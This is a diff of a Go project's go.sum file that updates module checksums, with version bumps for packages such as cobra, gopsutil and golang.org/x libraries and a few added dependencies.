github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
@@ -177,13 +173,14 @@ github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHh
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
|
||||
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
|
||||
github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
|
||||
github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
|
||||
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
|
||||
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
|
||||
@@ -231,8 +228,10 @@ github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0f
|
||||
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.0 h1:YlI/2zYDrweA4MThiYMKtGRfT+2qZOO65ulej8GTcVI=
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.0/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -309,18 +308,6 @@ github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4Ha
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
|
||||
github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
|
||||
github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
|
||||
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
|
||||
github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE=
|
||||
github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
|
||||
github.com/onsi/ginkgo/v2 v2.1.6 h1:Fx2POJZfKRQcM1pH49qSZiYeu319wji004qX+GDovrU=
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
|
||||
github.com/onsi/gomega v1.20.2 h1:8uQq0zMgLEfa0vRrrBgaJF2gyW9Da9BmfGV+OyUzfkY=
|
||||
github.com/onsi/gomega v1.20.2/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
@@ -346,8 +333,8 @@ github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OK
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8 h1:a4s3hXogo5mE2PfdfJIonDbstO/P+9JszdfhAHSzD9Y=
|
||||
github.com/shirou/gopsutil/v3 v3.22.8/go.mod h1:s648gW4IywYzUfE/KjXxUsqrqx/T2xO5VqOXxONeRfI=
|
||||
github.com/shirou/gopsutil/v3 v3.22.9 h1:yibtJhIVEMcdw+tCTbOPiF1VcsuDeTE4utJ8Dm4c5eA=
|
||||
github.com/shirou/gopsutil/v3 v3.22.9/go.mod h1:bBYl1kjgEJpWpxeHmLI+dVHWtyAwfcmSBLDsp2TNT8A=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
@@ -356,8 +343,8 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
|
||||
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
|
||||
github.com/spf13/cobra v1.6.0 h1:42a0n6jwCot1pUmomAp4T7DeMD+20LFv4Q54pxLf2LI=
|
||||
github.com/spf13/cobra v1.6.0/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
@@ -381,6 +368,8 @@ github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGq
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
|
||||
github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
@@ -408,6 +397,7 @@ golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8U
|
||||
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
@@ -427,11 +417,10 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
|
||||
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
@@ -439,7 +428,6 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
@@ -461,12 +449,11 @@ golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 h1:uVc8UZUe6tr40fFVnUP5Oj+veunVezqYl9z7DYw9xzw=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -474,11 +461,8 @@ golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -490,7 +474,6 @@ golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -511,8 +494,8 @@ golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec h1:BkDtF2Ih9xZ7le9ndzTA7KJow28VbQW3odyk/8drmuI=
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
@@ -524,8 +507,9 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.3.8 h1:nAL+RVCQ9uMn3vJZbV+MRnydTJFPf8qqY42YiA6MrqY=
|
||||
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -543,18 +527,16 @@ golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapK
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
|
||||
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
